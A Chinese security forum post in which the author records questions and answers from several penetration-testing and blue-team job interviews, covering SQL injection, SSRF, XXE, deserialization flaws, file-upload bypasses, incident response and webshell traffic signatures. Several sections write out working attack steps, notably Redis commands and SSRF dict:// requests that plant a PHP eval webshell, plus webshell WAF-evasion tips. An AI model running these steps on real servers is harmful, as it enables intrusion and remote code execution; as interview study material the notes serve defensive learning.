被面试疯狂拷打,巴适的很

xuejiuhan   ·   发表于 2023-07-05 12:11:31   ·   面试经验分享

第一次:

nyz中介面:

1、sql注入的分类、原理、和防御方式

  1. 1. 原理:
  2. 用户输入的数据未经过处理直接传到服务器经数据库解析并且直接返回结果。
  3. 2. 防御方式:
  4. 预编译、添加过滤条件,使用一些自带的类或者安全接口,比如:jsp中的peparstatement,可以将用户输入的参数转到sql语句时做一道处理。将参数值全部转化为’?’和set赋值的方式。以此避免注入。
  5. 3. 分类:
  6. sql注入从传参形式来讲分为getpost注入。细分可以看作Cookieheader等。从方式上来讲可以分为显错注入、盲注、报错注入。从数据库方面来讲可以分为access偏移注入,DNS注入。
  7. 显错注入:
  8. 用户输入的数据经过处理直接回显到页面上,比如:使用传参id时,无论是经过1+1或者order by之类可以看到直观回显信息的操作还是union select导致页面上的占位符回显数据库执行结果,都为显错。
  9. 盲注:
  10. 页面只给出true或者false也就是正常或者不正常两种回应时,可以使用lengthsubstrifascii这四个函数再加上burp的爆破来逐字符的判断是否与数据库执行结果相对应。
  11. 时间盲注:
  12. 页面回显单一时可使用sleep函数来进行时间的判断,如果sleep函数被过滤,可以使用benchmark替代,这个函数可以控制某函数运行的时间,使用与判断拼接select 1或者selectversion来查看函数运行时间与执行结果是否对应。
  13. 报错注入:
  14. sql注入时,页面报错且附带报错信息时可以使用,比如:updatexmlfloorexp等等。主要利用方式比如updatexml,第一个参数为xml内容,可随意,第二个为update的为主xpath路径,第三个参数为更新后的内容,不符合xpath的内容会被报错处理且进行解析,那么如果将第二个参数替代为sql语句。就能够在报错页面的到报错且已运行的查询结果

2、CSRF和SSRF的区别:

  1. CSRF
  2. 客户端请求伪造。用户请求的数据被当作可信任用户直接执行。
  3. 原理:
  4. 浏览器对于js的信任,或者说对于已登录用户操作的信任。用户在登录网站后会生成一个cookie,再未退出或者未执行删除cookie之前,都会保留。那么在同一时间,如果用户点击了网站上攻击者恶意构造的代码,比如:url/message=’hack’,由于浏览器对于用户的信任,会直接执行这行代码,以致于再用户不知道的情况下发了贴,如果把message换成其他的,比如password=,或者管理员的添加用户的payload,就可以达成相关操作。至于如何让信任用户点击这些链接,可以使用社工发送恶意链接、XSS的方式存储js代码,用户访问时则给出回应等
  5. SSRF
  6. 服务端请求伪造。用户输入的代码被服务器信任直接发送请求。用户在网页上请求服务器资源的时候使用了url=,imagesrc=来请求内网资源的时候,可以尝试修改url,或者说使用协议filedictgopher来探测端口存活,如果存活则回显bad REQUEST,如果不是,则直接空白。

3、XXE漏洞

  1. XXE是针对解析XML输入的应用程序的一种攻击。 当弱配置的XML解析器处理包含对外部实体的引用的XML输入时,就会发生此攻击。 这种攻击可能导致信息泄露,命令执行,拒绝服务,SSRF,内网端口扫描以及其他系统影响。
  2. php相关函数有parsexmlsimple_xml_loadfile
  3. 重点:
  4. 这里不得不去说明以下DTD:文档类型定义,简单来讲,就是申明变量。
  5. 比如:或者
  6. 实体类型一共分为:内置实体、字符实体、通用实体、参数实体(除了参数实体使用%申明和调用以外,其他的都是&)
  7. 利用方式:
  8. 如果服务器解析xml数据并且给出直观的回显,那么我们可以直接通过添加xml数据比如:file读取/etc/passwd文件看到相关数据
  9. 如果解析但是不给回显,同时支持检测DTD外部引用实体,我们可以通过xml中添加主机ip发送请求后查看主机ip日志是否得到返回数据,或者干脆使用DNSlog
  10. 基于SSRFXXE,可以通过http协议进行探测

4、知道有哪些中间件漏洞嘛?

  1. Tomcat
  2. war包后门
  3. 远程代码执行
  4. * session反序列化
  5. Nginx
  6. 解析漏洞1.jpg/.php
  7. 目录穿越
  8. JBoss
  9. 反序列化
  10. IIS
  11. 解析漏洞 xxx.jasp/1.jpg
  12. 路径穿越
  13. 远程代码执行
  14. Apache
  15. 解析漏洞 1.php%0a换行解析 1.php.xx未知后缀解析
  16. 目录穿越
  17. Weblogic
  18. 反序列化
  19. Ssrf任意文件上传

5、给你一个恶意样本如何溯源?

  1. 第一步:丢到虚拟机进行运行或者分析
  2. 第二步:可以使用逆向工具进行解码分析如果不会逆向可以抓包查看恶意样本中的ip,哪个ip用于接收从服务器返回的数据。

6、应急响应

  1. 服务器被上传了一个木马怎么办?
  2. - 使用D盾或者河马进行扫描
  3. - 如果没有,可以尝试在日志/var/log/message下查找上传文件的日志记录,命令:find var/log/message | awk 正则匹配一下php文件或者asp文件。(其实后面的我忘了怎么写,不过知道大概原理即可)
  4. - 接下来就是杀木马,找后门,恢复快照。

结果:通过

第二次:

北**qax一面:

sql注入的分类:

  1. 上面有

linux基础命令(他在里面挑了几个,常用的我直接全写了):

  1. 1、查看文件:
  2. (1)Cat 文件名(不适用大文件)
  3. (2)Tac 文件名(反过来看)
  4. (3)More 文件名(分页显示文件内容)
  5. (4)Less 文件名(分页显示文件内容、且可以滚动)
  6. (5)Head -n 5 文件名(从头开始查看文件前五行)
  7. (6)Tail -n 5 文件名(从尾开始查看文件后五行)
  8. 2、编辑文件:
  9. (1)Vim
  10. (2)Vi
  11. (3)Nano
  12. 3、查找文件:
  13. (1)Find
  14. (2)Locate
  15. (3)Whereis
  16. (4)Which
  17. 4、查看文件信息
  18. (1)Ls
  19. (2)Stat
  20. (3)File
  21. 5、查看进程
  22. (1)Ps
  23. (2)Pstree
  24. (3)Top
  25. 6、结束进程
  26. (1)kill -pid
  27. (2)ps -ef | grep 进程名
  28. (3)kill -l pid
  29. (4)killall
  30. (5)输入命令gnome-system-monitor调出任务管理器手动关闭进程

shrio反序列化的原理?

  1. shrio550
  2. 原理:
  3. 导致shiro反序列化的主要原因就是shiro提供的记住密码功能,当用户打开这个功能时会在请求包中生成一个cookiecookievalue值是经过反序列->aes加密->base64加密后的字符串,关键在于aes加密的秘钥是默认的,如果没有修改这个秘钥,就会导致反序列化漏洞,攻击者可以构造恶意代码,将恶意代码序列化-aes加密-base64加密后传入cookie,这样就导致RCE漏洞。
  4. 特征:
  5. shiro是一个身份验证组件,一般用在登录模块,登录失败会有一个失败标识rememberme=deleteme,如果返回包中存在该字段则说明可能存在反序列化漏洞。
  6. shrio721
  7. 不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的Remember

文件上传的原理、防御以及绕过方式:

  1. 原理
  2. 后端对于被上传文件的绝对信任,同时暴露自身在网页上的路径,使得被上传的恶意文件可以被访问的同时导致代码执行、命令执行等漏洞
  3. 防御
  4. 黑白名单,对于文件内容进行处理,二次处理文件名,修改文件后缀,不允许访问被上次文件的链接地址等
  5. 绕过方式:
  6. 前端验证绕过
  7. content-type绕过
  8. 黑名单绕过,通过解析漏洞,比如:phtmlphp2/3/4可解析为php
  9. 后缀大小写绕过
  10. 文件后缀空(点)绕过
  11. ::$DATA WINDOWS文件流绕过
  12. %00截断绕过,%00表示字符串结尾
  13. 图片马绕过
  14. 条件竞争

结果:通过

第三次:

psa一面:

  1. 重复的就不写了,这里多问了设备还有一个日志位置

设备

  1. 天眼(有护网经验且用过问的就细一点,没有基本上就问用没用过)
  2. 分组,子查询:用户控制查询中的逻辑,将多个条件组合起来
  3. 示例:
  4. host:"baidu.com" AND (dport:80 OR uri:"login")
  5. sip:("10.0.0.1" OR "10.0.0.2" OR "10.0.0.3") AND dip:"10.0.0.4"
  6. sip:"10.1.1.1" AND dip:"10.1.1.2" AND status:(200)
  7. 10.1.1.1访问服务器10.1.1.2状态码为200的流量日志
  8. dport:"443" OR dport:"8080
  9. 访问端口是443或者8080的流量日志
  10. dport:"80" NOT host:"www.example.com"
  11. 访问端口为80,排除访问www.example.com域名的流量日志
  12. dip:"10.1.1.2" AND client_os:"windows7"
  13. 服务器ip为10.1.1.2,操作系统为windows7的流量日志
  14. _exists_:attachment:返回结果中必须存在 attachment
  15. _missing_:attachment:不能含有 attachment
  16. 处置方案:
  17. 传感器上出现sql注入告警后
  18. 1、验证此条sql注入告警是否真的存在sql注入漏洞
  19. 2、通过请求数据包判断触发告警的行为是客户自身还是攻击行为
  20. 3、若为自身业务问题,则将漏洞点相关整合成报告反馈客户
  21. 4若为攻击者行为,需要进一步分析,查看分析平台攻击ip除了sql注入外是否有其他攻击行为,攻击的结果如何
  22. 5、将发现时间及攻击行为反馈给护网客户
  23. 传感器上出现RCE告警
  24. 1、验证此条警告师傅真的成功(若成功直接出报告)
  25. 2、若失败,判断攻击者是手工还是工具批量扫描行为
  26. 3、进入分析平台进一步分析,查看分析平台攻击ip除了rce是否有其他攻击行为,攻击结果如何
  27. 4、将发现时间及攻击行为反馈给护网

日志位置:

  1. /var/log/secrue 登录日志
  2. /var/log/message系统日志
  3. /var/log/maillog 邮件日志
  4. /var/log/cron 计划任务日志
  5. /var/log/httpd apache日志
  6. /var/log/mysql mysql日志

结果:通过

第四次:厂商面

第一家:

ct:
1、自我介绍

  1. 学习这一行多久了、在校的时候有什么经历,拿过什么证书(这个可以写在简历里面)比如:比赛、hvv、渗透测试项目。

2、XXE

  1. (第25行)

3、CSRF和SSRF

  1. (第18行)

4、redis的几种rce手段?

  1. 1、写SSH公钥
  2. 条件:服务器存在.ssh目录且具有写入的权限
  3. 原理:
  4. 在数据库中插入一条数据,将本机的公钥作为valuekey值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key
  5. 2、写webshell
  6. 条件:已知web绝对路径。
  7. 步骤:
  8. 1. redis -cli -h 192.168.x.x 连接目标服务器
  9. 2. config set dir "/var/www/html" 设置保存文件路径
  10. 3. config set dbfilename shell.php 设置保存文件名
  11. 4. set x "\n\n<?php <span class="label label-primary">@eval($_POST['cmd']);</span> ?&gt;\n" webshell写入x键值中
  12. 5. save 保存
  13. 3、主从复制
  14. 原理:在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
  15. 利用流程:
  16. 生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。
  17. git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
  18. cd RedisModules-ExecuteCommand/
  19. make
  20. 攻击端执行: python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

5、ssrf配合redis打rce?

  1. 利用手段:
  2. 通过dictgopher协议,前者探测,后者写入
  3. 探测端口:
  4. ssrf.php?url=dict://x.x.x.x:$端口$ 利用burpsuite爆破端口
  5. 探测是否设置弱口令:
  6. ssrf.php?url=dict://x.x.x.x:6379/info 已知端口利用info探测是否设置了密码
  7. 爆破密码:
  8. ssrf.php?url=dict://x.x.x.x:6379/auth:$密码$ 利用burpsuite爆破密码
  9. 写入webshell
  10. 1. url=dict://xxx.xxx:6379/config:set:dir:/var/www/html 切换文件目录
  11. 2. url=dict://xxx.xxx:6379/config:set:dbfilename:webshell.php 设置保存文件名
  12. 3. url=dict://xxx.xxx:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"
  13. //利用dict协议写入webshell 以上的字符编码是<?php phpinfo();?>的十六进制
  14. 4. url=dict://x.x.x.x:6379/save 保存
  15. 通过gopher写入webshell
  16. set x "\n\n\n<?php <span class="label label-primary">@eval($_POST['redis']);?</span>&gt;\n\n\n"
  17. config set dir /var/www/html
  18. config set dbfilename shell.php
  19. save
  20. 两次url编码直接访问即可

6、菜刀、蚁剑、冰蝎、哥斯拉的流量特征?

  1. 菜刀:
  2. 连接过程中使用base64编码对发送的指令进行加密,其中两个关键payload z1 z2,名字都是可变的。
  3. 蚁剑:
  4. 一般将payload进行分段,然后分别进行base64编码,一般具有像eval这样的关键字,然后呢大概率还有<span>@ini_set(</span>"display","0");这种代码
  5. 冰蝎:
  6. 16ua
  7. 请求包中的conten-length字段是5740或者5720
  8. 哥斯拉:
  9. 在响应包的cache-control字段中有no-storeno-cache等特征。
  10. 三次响应连接

7、应急响应:

  1. (第62行)

8、shiro知道攻击方式但是不知道利用链怎么办?

  1. 当时有点懵,最后问了一下别的师傅才知道,shrio attack有爆破利用链=.=,不过我感觉她不是想知道这个

结果:通过

第五次:boss上面找的一个中级=.=

1、fastjson不出网利用:

  1. org.apache.tomcat.dbcp.dbcp2.BasicDataSource
  2. 条件:BasicDataSource需要有dbcp或者tomcat-dbcp的依赖
  3. 利用过程:使用BasicDataSource链,构造恶意类后将其的字节码转化为BCEL格式,其中driverClassNamedriverClassLoader都是可控的,由用户输入,指定ClassLoadercom.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassNameBCEL..这种格式,字啊newInstance方法执行后被实例化,第二个参数initialtrue时,类加载后将会直接执行static{}块中的代码。

2、设备告警,你确定存在一个攻击,但是这个攻击没有任何回显响应甚至状态,你如何处理?

  1. 破防点+1
  2. 问了别的师傅:可能被打了路由,并非页面

3、打过内网横向吗?

  1. 永恒之蓝打学校机房算不?
  2. 不算
  3. 之前拿到过一个站的阿里云的key,然后打了一波内网,但是没什么成绩
  4. 那就是没做过?
  5. 。。。。嗯
  6. 破防点+2

4、知道是shiro攻击成功了,请判断这个shiro是通过什么方式攻击的?

  1. (感觉自己好像知道,于是答了原理)
  2. 不是,我是问你通过什么方式?
  3. 恶意的cookie
  4. (几秒沉默,跳过话题)

5、windows日志的敏感事件id知道吗?

  1. 敏感事件id
  2. 4624 登录成功
  3. 4625 登录失败
  4. 4672 使用超级管理员进行登录
  5. 4720 创建用户
  6. (相关文件呢?)
  7. 可疑账号:
  8. lusrmgr.msc
  9. 登录日志:
  10. eventvwr.msc
  11. (总算答上来一个完整的,我当时感觉到这里估计已经降初级了)

6、冰蝎2.0、3.0、4.0的流量特征知道吗?

  1. 冰蝎2.0
  2. 第一阶段请求中返回包的状态码是200,返回内容是16位的密钥。建立连接后的cookie格式都是CookiePHPSessid=xxxx path=/;特征。
  3. 冰蝎3.0
  4. 16ua
  5. 请求包中的conten-length字段是5740或者5720
  6. 冰蝎4.0
  7. 弱特征:Content-type: Application/x-www-form-urlencoded
  8. 冰蝎与webshell建立连接的同时,javaw也与目的主机建立tcp连接,每次连接使用本地端口在49700左右,每连接一次,每建立一次新的连接,端口就依次增加。
  9. 流量特征
  10. $post=Decrypt(file_get_contents(“php://input”));
  11. eval($post);

7、用过哪些edr设备吗?

  1. 经历两次破防,已经混乱了
  2. 给个参考链接吧,没用过的可以看深信服的主页edr视频
  3. https://edr.sangfor.com.cn/#/index/home

结果:初级

第六次:厂商面(沈阳sl)

亚x:

  1. 重复的就不谈了

1、fastjson反序列化:

  1. fastjson提供的反序列化功能允许用户传入json格式数据的时候通过<span>@type?</span>??value值指定任意反序列化类名,同时会将反序列化的对象直接实例化且调用settergetter方法。
  2. 使用<span>@type?</span>??value字段执行反序列化的类,例如JdbcRowSetImpl这个类,接着将这个类中的成员变量datasourcenamevalue值设为rmi远程加载类,这样fastjson在将传入的类反序列化、实例对象后,会通过成员变量传入的value值,请求rmi服务器,最后rmi返回远程类,fastjson执行这个远程恶意类。导致rce漏洞。
  3. 特征:
  4. 在请求包中查找json格式的字符串,重点在于rmi和一些出网操作

2、Weblogic反序列化:

  1. 原理:
  2. xml反序列化,这是wls security组件对外提供的webserver页面,通过xmlDecoder功能来解析用户的xml数据导致的任意字符串被当做代码去执行
  3. 特征:
  4. 服务器开放7001端口,传递xml数到wls-wsat,数据包内容有bash或者dnslog字段。

3、Struts2:

  1. stu2-045
  2. content-type值错误会导致JakartaMultiPartRequest类抛出异常且对错误信息进行ONGL表达式的解析,因此可以在POST数据传参中构造恶意代码同时使得content-type报错。
  3. stu2-061
  4. 045唯一的区别就是单content-type可能被处理过了,我们只需要爆破所有参数即可
  5. stu2-057
  6. 漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置valueaction的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生
  7. 利用条件
  8. alwaysSelectFullNamespace被设置为true,此时namespace的值是从URL中获取的。URL是可控的,所以namespace也是可控的。
  9. action元素没有名称空间属性集,或者使用通配符。该名称空间将由用户从URL传递并解析为OGNL表达式,最终导致远程代码执行的脆弱性

4、溯源

  1. 首先通过ip反查域名、whois查询公司、备案信息等等。如:查到域名未某博客,可以尝试查看作者信息,丢到社工库或者蓝队师傅群里问。
  2. 如果域名无法正常访问,可以尝试google快照获取相关信息,如:博客无法访问,但是google快照发现历史文章,以此为入手处继续查看备案信息或者直接问。

5、误报的处理方式

  1. 看情况第一步判断是不是内部人员误操作,如果是,则需要考虑是否要添加某些规则进入白名单,如果并非内部人员操作,就需要对于设备告警发出的信息进行流量分析等,测试是否能对服务器造成危害,然后进行应急

6、webshell如何绕过waf

  1. Webshell绕过waf
  2. 上传webshell的时候可以将木马改成实现方法或者实例化类传参的方式
  3. 字符串拼接
  4. 定义常量,用eval执行这个常量

结果:通过

还有一次特别初级跟几次初级基本上都过了,初级的问题大致一样。盯死哪些反序列化、流量特征和linux命令就行。问了好几次日志

获得经验:

  1. 1、有护网经验跟没有护网经验的面试情况跟结果是两个不同的层次,懂得都懂
  2. 2、简历要写的帅一点,自己挖过什么牛逼的漏洞都可以写进去
  3. 3、千万别写那种自己本来就不大熟悉的知识点,面试官但凡问道你支支吾吾,好一点的终止这个问题,难办的细究能让你破防,还会影响你后面的面试
  4. 4、多面几家,多面几家,多面几家,让自己能够淡然的面对一切问题,就算不会也能摆出:“这次不会,下次一定”的态度。
  5. 5、初级大多是漏洞原理和一些应急方面的,部分厂商和中级会怼着内网或者设备问你情景题,比如wb就怼着流量特征
用户名金币积分时间理由
Track-魔方 1600.00 0 2023-07-06 15:03:18 深度 200 普适 600 可读 200 稀缺 100 唯一平台 500

打赏我,让我更有动力~

1 条回复   |  直到 2023-7-6 | 1498 次浏览

Track-魔方
发表于 2023-7-6

文章的格式有点炸,这次就我帮你调整了,下次需要你自己调整哦。如果不知道如何排版,可以参考:https://bbs.zkaq.cn/t/6306.html

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.